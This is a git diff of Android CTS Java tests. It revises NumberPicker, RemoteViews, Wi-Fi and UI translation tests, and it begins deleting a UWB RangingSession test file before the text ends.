diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index eecc071..6f08587 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -376,7 +376,7 @@
                     numberPickerMiddleX,
                     numberPickerStartY,
                     0,
-                    screenHeight - numberPickerStartY); // drag down to the bottom of the screen.
+                    mNumberPicker.getHeight()); // drag down to the bottom of the screen.
 
             Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
                     latch.await(5, TimeUnit.SECONDS));
@@ -444,7 +444,7 @@
                     numberPickerMiddleX,
                     numberPickerEndY,
                     0,
-                    -(numberPickerEndY)); // drag up to the top of the screen.
+                    -(mNumberPicker.getHeight())); // drag up to the top of the screen.
             Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
                     latch.await(5, TimeUnit.SECONDS));
         } catch (Throwable t) {
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index ac9e140..f421d31 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -628,6 +628,8 @@
 
         mRemoteViews.setBitmap(R.id.remoteView_absolute, "setImageBitmap", bitmap);
         assertThrowsOnReapply(ActionException.class);
+
+        assertEquals(bitmap.getAllocationByteCount(), mRemoteViews.estimateMemoryUsage());
     }
 
     @Test
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index f7322dd..bbd4378 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -50,6 +50,7 @@
 import androidx.test.filters.SdkSuppress;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -274,6 +275,29 @@
                 new LinkedList<Integer>(Arrays.asList(waitSingleSync)));
     }
 
+    private NetworkInfo.DetailedState waitForNextNetworkState() {
+        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+        assertNotNull(mMySync.expectedNetworkInfo);
+        return mMySync.expectedNetworkInfo.getDetailedState();
+    }
+
+    private boolean waitForConnectedNetworkState() {
+        // The possible orders of network states are:
+        // * IDLE > CONNECTING > CONNECTED for lazy initialization
+        // * DISCONNECTED > CONNECTING > CONNECTED for previous group removal
+        // * CONNECTING > CONNECTED
+        NetworkInfo.DetailedState state = waitForNextNetworkState();
+        if (state == NetworkInfo.DetailedState.IDLE
+                || state == NetworkInfo.DetailedState.DISCONNECTED) {
+            state = waitForNextNetworkState();
+        }
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
+            && state == NetworkInfo.DetailedState.CONNECTING) {
+            state = waitForNextNetworkState();
+        }
+        return state == NetworkInfo.DetailedState.CONNECTED;
+    }
+
     private boolean waitForServiceResponse(MyResponse waitResponse) {
         synchronized (waitResponse) {
             long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
@@ -508,21 +532,7 @@
         mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
-
-        // The first network state might be IDLE due to
-        // lazy initialization, but not CONNECTED.
-        for (int i = 0; i < 2; i++) {
-            assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-            assertNotNull(mMySync.expectedNetworkInfo);
-            if (NetworkInfo.DetailedState.CONNECTED ==
-                    mMySync.expectedNetworkInfo.getDetailedState()) {
-                break;
-            }
-            assertEquals(NetworkInfo.DetailedState.IDLE,
-                    mMySync.expectedNetworkInfo.getDetailedState());
-        }
-        assertEquals(NetworkInfo.DetailedState.CONNECTED,
-                mMySync.expectedNetworkInfo.getDetailedState());
+        assertTrue(waitForConnectedNetworkState());
 
         resetResponse(mMyResponse);
         mWifiP2pManager.requestNetworkInfo(mWifiP2pChannel,
@@ -660,21 +670,7 @@
         mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
-
-        // The first network state might be IDLE due to
-        // lazy initialization, but not CONNECTED.
-        for (int i = 0; i < 2; i++) {
-            assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-            assertNotNull(mMySync.expectedNetworkInfo);
-            if (NetworkInfo.DetailedState.CONNECTED ==
-                    mMySync.expectedNetworkInfo.getDetailedState()) {
-                break;
-            }
-            assertEquals(NetworkInfo.DetailedState.IDLE,
-                    mMySync.expectedNetworkInfo.getDetailedState());
-        }
-        assertEquals(NetworkInfo.DetailedState.CONNECTED,
-                mMySync.expectedNetworkInfo.getDetailedState());
+        assertTrue(waitForConnectedNetworkState());
 
         resetResponse(mMyResponse);
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
@@ -707,10 +703,7 @@
         mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
-        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-        assertNotNull(mMySync.expectedNetworkInfo);
-        assertEquals(NetworkInfo.DetailedState.CONNECTED,
-                mMySync.expectedNetworkInfo.getDetailedState());
+        assertTrue(waitForConnectedNetworkState());
 
         resetResponse(mMyResponse);
         mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
@@ -812,21 +805,7 @@
         mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
-
-        // The first network state might be IDLE due to
-        // lazy initialization, but not CONNECTED.
-        for (int i = 0; i < 2; i++) {
-            assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-            assertNotNull(mMySync.expectedNetworkInfo);
-            if (NetworkInfo.DetailedState.CONNECTED
-                    == mMySync.expectedNetworkInfo.getDetailedState()) {
-                break;
-            }
-            assertEquals(NetworkInfo.DetailedState.IDLE,
-                    mMySync.expectedNetworkInfo.getDetailedState());
-        }
-        assertEquals(NetworkInfo.DetailedState.CONNECTED,
-                mMySync.expectedNetworkInfo.getDetailedState());
+        assertTrue(waitForConnectedNetworkState());
 
         resetResponse(mMyResponse);
         MacAddress peerMacAddress = MacAddress.fromString(mTestWifiP2pPeerConfig.deviceAddress);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
index b61f11d..314d097 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
@@ -151,6 +151,8 @@
                 () -> wifiManager.setScanThrottleEnabled(false));
 
         // Enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
         ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
         // Make sure wifi is enabled
         PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index 02193c3..7f679ff 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -786,6 +786,7 @@
                     // be the primary connection.
                     if (mWifiManager.isStaConcurrencyForLocalOnlyConnectionsSupported()) {
                         assertThat(wifiInfo.isPrimary()).isFalse();
+                        assertConnectionEquals(network, mWifiManager.getConnectionInfo());
                     } else {
                         assertThat(wifiInfo.isPrimary()).isTrue();
                     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 3b004dd..e3ff5f8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -97,6 +97,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.PropertyUtil;
@@ -5468,6 +5469,7 @@
     /**
      * Tests {@link WifiConfiguration#setBssidAllowlist(List)}.
      */
+    @ApiTest(apis = "android.net.wifi.WifiConfiguration#setBssidAllowlist")
     public void testBssidAllowlist() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -5518,7 +5520,6 @@
             waitForConnection();
             wifiInfo = mWifiManager.getConnectionInfo();
             assertEquals(networkId, wifiInfo.getNetworkId());
-            assertEquals(connectedBssid, wifiInfo.getBSSID());
         } finally {
             // Reset BSSID allow list to accept all APs
             for (WifiConfiguration network : savedNetworks) {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
index c162f9e..d4b5ec1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
@@ -57,13 +57,6 @@
         WifiSsid wifiSsidNull = WifiSsid.fromBytes(null);
         assertThat(wifiSsidNull).isNotNull();
         assertThat(wifiSsidNull.getBytes()).isEmpty();
-
-        try {
-            WifiSsid.fromBytes(new byte[33]);
-            fail("Expected IllegalArgumentException for byte array length greater than 32.");
-        } catch (IllegalArgumentException e) {
-            // Success
-        }
     }
 
     /**
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 2a3f67a..6205ee8 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -605,7 +605,7 @@
         builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
         RangingRequest request = builder.build();
 
-        // Perform the rquest
+        // Perform the request
         rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
     }
 
@@ -639,7 +639,9 @@
         builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
         RangingRequest request = builder.build();
 
-        // Perform the rquest
+
+
+        // Perform the request
         rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
     }
 
@@ -747,15 +749,13 @@
                 ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.submit();
 
-        // This bug below has been addressed by making the test parameters for Non-80211mc devices
-        // less stringent. Please update the bug if this does not solve the problem.
-        // TODO(b/192909380): enable the performance verification after device fix.
-
-        // Analyze results
+        /** TODO(b/237011062): enable the performance verification new API to check capabilities
+         // Analyze results
         assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
                         + ", ITERATIONS="
                         + NUM_OF_RTT_ITERATIONS + ", AP=" + testAp,
                 numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
+         */
 
         if (numFailures != NUM_OF_RTT_ITERATIONS) {
             // Calculate an initial average using all measurements to determine distance outliers
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index 1937288..d73c707 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -80,6 +80,7 @@
 import androidx.test.filters.FlakyTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.RequiredServiceRule;
@@ -442,6 +443,38 @@
         Mockito.verify(mockCallback, Mockito.times(1)).onHideTranslation(any());
     }
 
+
+    @Test
+    @ApiTest(apis = {"android.view.translation.UiTranslationManagerTest#startUiTranslation",
+            "android.view.View#setViewTranslationCallback"})
+    public void testUiTranslation_CustomViewTranslationCallback_DetachAndReattach()
+            throws Throwable {
+        final Pair<List<AutofillId>, ContentCaptureContext> result =
+                enableServicesAndStartActivityForTranslation();
+        final List<AutofillId> views = result.first;
+        final ContentCaptureContext contentCaptureContext = result.second;
+
+        // Set ViewTranslationCallback
+        ViewTranslationCallback mockCallback = Mockito.mock(ViewTranslationCallback.class);
+        mTextView.setViewTranslationCallback(mockCallback);
+        // Set response
+        sTranslationReplier.addResponse(createViewsTranslationResponse(views, "success"));
+
+        mActivityScenario.onActivity(activity -> {
+            // Toggling the visibility will cause detach and reattach. This test ensures the
+            // custom callback is not cleared when this happens.
+            mTextView.setVisibility(View.INVISIBLE);
+            mTextView.setVisibility(View.VISIBLE);
+        });
+        startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+        ArgumentCaptor<View> viewArgumentCaptor = ArgumentCaptor.forClass(View.class);
+        Mockito.verify(mockCallback, Mockito.times(1)).onShowTranslation(
+                viewArgumentCaptor.capture());
+        TextView capturedView = (TextView) viewArgumentCaptor.getValue();
+        assertThat(capturedView.getAutofillId()).isEqualTo(mTextView.getAutofillId());
+    }
+
     @Test
     @FlakyTest(bugId = 192418800)
     public void testUiTranslation_ViewTranslationCallback_paddingText() throws Throwable {
diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
deleted file mode 100644
index 6fcdc74..0000000
--- a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
+++ /dev/null
@@ -1,629 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static android.uwb.RangingSession.Callback.REASON_BAD_PARAMETERS;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-
-import android.os.PersistableBundle;
-import android.os.RemoteException;
-import android.uwb.IUwbAdapter;
-import android.uwb.RangingReport;
-import android.uwb.RangingSession;
-import android.uwb.SessionHandle;
-import android.uwb.UwbAddress;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
-
-import java.util.concurrent.Executor;
-
-/**
- * Test of {@link RangingSession}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class RangingSessionTest {
-    private static final Executor EXECUTOR = UwbTestUtils.getExecutor();
-    private static final PersistableBundle PARAMS = new PersistableBundle();
-    private static final UwbAddress UWB_ADDRESS = UwbAddress.fromBytes(new byte[] {0x00, 0x56});
-    private static final @RangingSession.Callback.Reason int REASON =
-            RangingSession.Callback.REASON_GENERIC_ERROR;
-
-    @Test
-    public void testOnRangingOpened_OnOpenSuccessCalled() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        verifyOpenState(session, false);
-
-        session.onRangingOpened();
-        verifyOpenState(session, true);
-
-        // Verify that the onOpenSuccess callback was invoked
-        verify(callback, times(1)).onOpened(eq(session));
-        verify(callback, times(0)).onClosed(anyInt(), any());
-    }
-
-    @Test
-    public void testOnRangingOpened_OnServiceDiscoveredConnectedCalled() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        verifyOpenState(session, false);
-
-        session.onRangingOpened();
-        verifyOpenState(session, true);
-
-        // Verify that the onOpenSuccess callback was invoked
-        verify(callback, times(1)).onOpened(eq(session));
-        verify(callback, times(0)).onClosed(anyInt(), any());
-
-        session.onServiceDiscovered(PARAMS);
-        verify(callback, times(1)).onServiceDiscovered(eq(PARAMS));
-
-        session.onServiceConnected(PARAMS);
-        verify(callback, times(1)).onServiceConnected(eq(PARAMS));
-    }
-
-
-    @Test
-    public void testOnRangingOpened_CannotOpenClosedSession() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
-        session.onRangingOpened();
-        verifyOpenState(session, true);
-        verify(callback, times(1)).onOpened(eq(session));
-        verify(callback, times(0)).onClosed(anyInt(), any());
-
-        session.onRangingClosed(REASON, PARAMS);
-        verifyOpenState(session, false);
-        verify(callback, times(1)).onOpened(eq(session));
-        verify(callback, times(1)).onClosed(anyInt(), any());
-
-        // Now invoke the ranging started callback and ensure the session remains closed
-        session.onRangingOpened();
-        verifyOpenState(session, false);
-        verify(callback, times(1)).onOpened(eq(session));
-        verify(callback, times(1)).onClosed(anyInt(), any());
-    }
-
-    @Test
-    public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        verifyOpenState(session, false);
-
-        session.onRangingClosed(REASON, PARAMS);
-        verifyOpenState(session, false);
-
-        // Verify that the onOpenSuccess callback was invoked
-        verify(callback, times(0)).onOpened(eq(session));
-        verify(callback, times(1)).onClosed(anyInt(), any());
-    }
-
-    @Test
-    public void testOnRangingClosed_OnClosedCalled() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        session.onRangingStarted(PARAMS);
-        session.onRangingClosed(REASON, PARAMS);
-        verify(callback, times(1)).onClosed(anyInt(), any());
-
-        verifyOpenState(session, false);
-        session.onRangingClosed(REASON, PARAMS);
-        verify(callback, times(2)).onClosed(anyInt(), any());
-    }
-
-    @Test
-    public void testOnRangingResult_OnReportReceivedCalled() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        verifyOpenState(session, false);
-
-        session.onRangingStarted(PARAMS);
-        verifyOpenState(session, true);
-
-        RangingReport report = UwbTestUtils.getRangingReports(1);
-        session.onRangingResult(report);
-        verify(callback, times(1)).onReportReceived(eq(report));
-    }
-
-    @Test
-    public void testStart_CannotStartIfAlreadyStarted() throws RemoteException {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
-        session.onRangingOpened();
-
-        session.start(PARAMS);
-        verify(callback, times(1)).onStarted(any());
-
-        // Calling start again should throw an illegal state
-        verifyThrowIllegalState(() -> session.start(PARAMS));
-        verify(callback, times(1)).onStarted(any());
-    }
-
-    @Test
-    public void testStop_CannotStopIfAlreadyStopped() throws RemoteException {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
-        doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
-        session.onRangingOpened();
-        session.start(PARAMS);
-
-        verifyNoThrowIllegalState(session::stop);
-        verify(callback, times(1)).onStopped(anyInt(), any());
-
-        // Calling stop again should throw an illegal state
-        verifyThrowIllegalState(session::stop);
-        verify(callback, times(1)).onStopped(anyInt(), any());
-    }
-
-    @Test
-    public void testStop_CannotStopIfOpenFailed() throws RemoteException {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
-        doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
-        session.onRangingOpened();
-        session.start(PARAMS);
-
-        verifyNoThrowIllegalState(() -> session.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS));
-        verify(callback, times(1)).onOpenFailed(
-                REASON_BAD_PARAMETERS, PARAMS);
-
-        // Calling stop again should throw an illegal state
-        verifyThrowIllegalState(session::stop);
-        verify(callback, times(0)).onStopped(anyInt(), any());
-    }
-
-    @Test
-    public void testCallbacks_OnlyWhenOpened() throws RemoteException {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        doAnswer(new OpenAnswer(session)).when(adapter).openRanging(
-                any(), any(), any(), any(), any());
-        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
-        doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any());
-        doAnswer(new PauseAnswer(session)).when(adapter).pause(any(), any());
-        doAnswer(new ResumeAnswer(session)).when(adapter).resume(any(), any());
-        doAnswer(new ControleeAddAnswer(session)).when(adapter).addControlee(any(), any());
-        doAnswer(new ControleeRemoveAnswer(session)).when(adapter).removeControlee(any(), any());
-        doAnswer(new DataSendAnswer(session)).when(adapter).sendData(any(), any(), any(), any());
-        doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
-        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
-
-        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
-        verify(callback, times(0)).onReconfigured(any());
-        verifyOpenState(session, false);
-
-        session.onRangingOpened();
-        verifyOpenState(session, true);
-        verify(callback, times(1)).onOpened(any());
-        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
-        verify(callback, times(1)).onReconfigured(any());
-        verifyThrowIllegalState(() -> session.pause(PARAMS));
-        verify(callback, times(0)).onPaused(any());
-        verifyThrowIllegalState(() -> session.resume(PARAMS));
-        verify(callback, times(0)).onResumed(any());
-        verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
-        verify(callback, times(1)).onControleeAdded(any());
-        verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
-        verify(callback, times(1)).onControleeRemoved(any());
-        verifyThrowIllegalState(() -> session.sendData(
-                UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
-        verify(callback, times(0)).onDataSent(any(), any());
-
-        session.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
-        verifyOpenState(session, true);
-        verify(callback, times(1)).onStartFailed(
-                REASON_BAD_PARAMETERS, PARAMS);
-
-        session.onRangingStarted(PARAMS);
-        verifyOpenState(session, true);
-        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
-        verify(callback, times(2)).onReconfigured(any());
-        verifyNoThrowIllegalState(() -> session.reconfigure(null));
-        verify(callback, times(1)).onReconfigureFailed(
-                eq(REASON_BAD_PARAMETERS), any());
-        verifyNoThrowIllegalState(() -> session.pause(PARAMS));
-        verify(callback, times(1)).onPaused(any());
-        verifyNoThrowIllegalState(() -> session.pause(null));
-        verify(callback, times(1)).onPauseFailed(
-                eq(REASON_BAD_PARAMETERS), any());
-        verifyNoThrowIllegalState(() -> session.resume(PARAMS));
-        verify(callback, times(1)).onResumed(any());
-        verifyNoThrowIllegalState(() -> session.resume(null));
-        verify(callback, times(1)).onResumeFailed(
-                eq(REASON_BAD_PARAMETERS), any());
-        verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
-        verify(callback, times(2)).onControleeAdded(any());
-        verifyNoThrowIllegalState(() -> session.addControlee(null));
-        verify(callback, times(1)).onControleeAddFailed(
-                eq(REASON_BAD_PARAMETERS), any());
-        verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
-        verify(callback, times(2)).onControleeRemoved(any());
-        verifyNoThrowIllegalState(() -> session.removeControlee(null));
-        verify(callback, times(1)).onControleeRemoveFailed(
-                eq(REASON_BAD_PARAMETERS), any());
-        verifyNoThrowIllegalState(() -> session.sendData(
-                UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
-        verify(callback, times(1)).onDataSent(any(), any());
-        verifyNoThrowIllegalState(() -> session.sendData(
-                null, PARAMS, new byte[] {0x05, 0x1}));
-        verify(callback, times(1)).onDataSendFailed(
-                eq(null), eq(REASON_BAD_PARAMETERS), any());
-
-        session.onDataReceived(UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
-        verify(callback, times(1)).onDataReceived(
-                UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
-        session.onDataReceiveFailed(UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
-        verify(callback, times(1)).onDataReceiveFailed(
-                UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
-
-        session.stop();
-        verifyOpenState(session, true);
-        verify(callback, times(1)).onStopped(REASON, PARAMS);
-
-        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
-        verify(callback, times(3)).onReconfigured(any());
-        verifyThrowIllegalState(() -> session.pause(PARAMS));
-        verify(callback, times(1)).onPaused(any());
-        verifyThrowIllegalState(() -> session.resume(PARAMS));
-        verify(callback, times(1)).onResumed(any());
-        verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
-        verify(callback, times(3)).onControleeAdded(any());
-        verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
-        verify(callback, times(3)).onControleeRemoved(any());
-        verifyThrowIllegalState(() -> session.sendData(
-                UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
-        verify(callback, times(1)).onDataSent(any(), any());
-
-        session.close();
-        verifyOpenState(session, false);
-        verify(callback, times(1)).onClosed(REASON, PARAMS);
-
-        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
-        verify(callback, times(3)).onReconfigured(any());
-        verifyThrowIllegalState(() -> session.pause(PARAMS));
-        verify(callback, times(1)).onPaused(any());
-        verifyThrowIllegalState(() -> session.resume(PARAMS));
-        verify(callback, times(1)).onResumed(any());
-        verifyThrowIllegalState(() -> session.addControlee(PARAMS));
-        verify(callback, times(3)).onControleeAdded(any());
-        verifyThrowIllegalState(() -> session.removeControlee(PARAMS));
-        verify(callback, times(3)).onControleeRemoved(any());
-        verifyThrowIllegalState(() -> session.sendData(
-                UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
-        verify(callback, times(1)).onDataSent(any(), any());
-    }
-
-    @Test
-    public void testClose_NoCallbackUntilInvoked() throws RemoteException {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        session.onRangingOpened();
-
-        // Calling close multiple times should invoke closeRanging until the session receives
-        // the onClosed callback.
-        int totalCallsBeforeOnRangingClosed = 3;
-        for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) {
-            session.close();
-            verifyOpenState(session, true);
-            verify(adapter, times(i)).closeRanging(handle);
-            verify(callback, times(0)).onClosed(anyInt(), any());
-        }
-
-        // After onClosed is invoked, then the adapter should no longer be called for each call to
-        // the session's close.
-        final int totalCallsAfterOnRangingClosed = 2;
-        for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) {
-            session.onRangingClosed(REASON, PARAMS);
-            verifyOpenState(session, false);
-            verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle);
-            verify(callback, times(i)).onClosed(anyInt(), any());
-        }
-    }
-
-    @Test
-    public void testClose_OnClosedCalled() throws RemoteException {
